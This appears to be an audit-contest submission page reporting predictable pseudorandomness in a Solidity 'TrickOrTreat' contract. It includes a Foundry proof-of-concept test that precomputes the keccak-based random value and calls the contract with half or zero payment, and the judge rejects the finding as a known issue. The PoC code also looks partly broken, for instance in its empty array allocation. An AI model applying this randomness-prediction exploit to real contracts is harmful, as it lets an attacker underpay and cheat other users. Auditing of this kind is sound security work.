Trick or Treat

First Flight #27
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: low
Invalid

TrickOrTreat::trickOrTreat random number can be predicted allowing attacker to make decision

Summary

trickOrTreatfunction has a weak psuedorandom generator that can be predicted in advance and thus the attacker can call trickOrTreatbased on the predictable random output. Furthermore when the random = 2 then the attacker can increment the nextTokenIdwithout transferring any ether (msg.value = 0). This will prevent other users from buying that treat, even if the owner does not buy it; by not calling resolveTrickfunction.

Vulnerability Details

The pseudorandom generator has three fields that will remain the same when the attacker calls the `trickOrTreat` function from their malicious contract.

uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, nextTokenId, block.prevrandao))) % 1000 + 1;

The only variable that will generate a new random value is nextTokenId within a function call. Since nextTokenIdcan only be incremented when either random = 1 and user has paid atleast half the cost, when random = 2 then user can book the treat by paying nothing and when random is > 2, the user pays the exact cost of the treat.

The incentive that the attacker recieves is when he is able to generate random = 1 and pays half the cost. The nextTokenIdthat will return a random = 1 can be pre-generated for a fixed timestamp and blockrandao. Then the attacker just have to increment the nextTokenIdand profit from the treat bought at half the price.

Here is a test file created in foundry that replicates this attack for 200 treats. Among these 200 treats only 4 were able to generate a random = 1. If the number of treats are increased then more nextTokenIdwill generate random = 1.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/TrickOrTreat.sol";
contract TrickOrTreastTest is Test {
SpookySwap public target;
function setUp() public {
SpookySwap.Treat[] memory treats = new SpookySwap.Treat[]();
for(uint256 i = 1; i < 200; i++){
bytes memory t = abi.encode("Treat", i);
string memory s = string(t);
treats[i-1] = SpookySwap.Treat(s, 2, "xyz");
}
target = new SpookySwap(treats);
}
function testTrickOrTreat() public {
string[] memory treatNames = target.getTreats();
uint256 costSaved;
for(uint i = 1; i<treatNames.length; i++){
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, address(this), i, block.prevrandao))) % 1000 + 1;
if (random == 1){
payable(address(target)).call{value: 1}(
abi.encodeWithSignature("trickOrTreat(string)", treatNames[i])
);
costSaved += 1;
} else if (random == 2) {
payable(address(target)).call{value: 0}(
abi.encodeWithSignature("trickOrTreat(string)", treatNames[i])
);
} else {
payable(address(target)).call{value: 2}(
abi.encodeWithSignature("trickOrTreat(string)", treatNames[i])
);
}
}
console.log("Balance of SpookySwap: ", address(target).balance);
console.log("Total Cost Saved: ", costSaved);
}
}

Impact

High - As the attacker can technically profit from the attack if the number of treats are huge and book some treats for free when random = 2 and never buy them.

Tools Used

Manual Review

Recommendations

Use a better psuedorandom generator function like the one suggested in known issues.

Updates

Appeal created

bube Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[invalid] Weak randomness

It's written in the README: "We're aware of the pseudorandom nature of the current implementation. This will be replaced with Chainlink VRF in later builds." This is a known issue.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.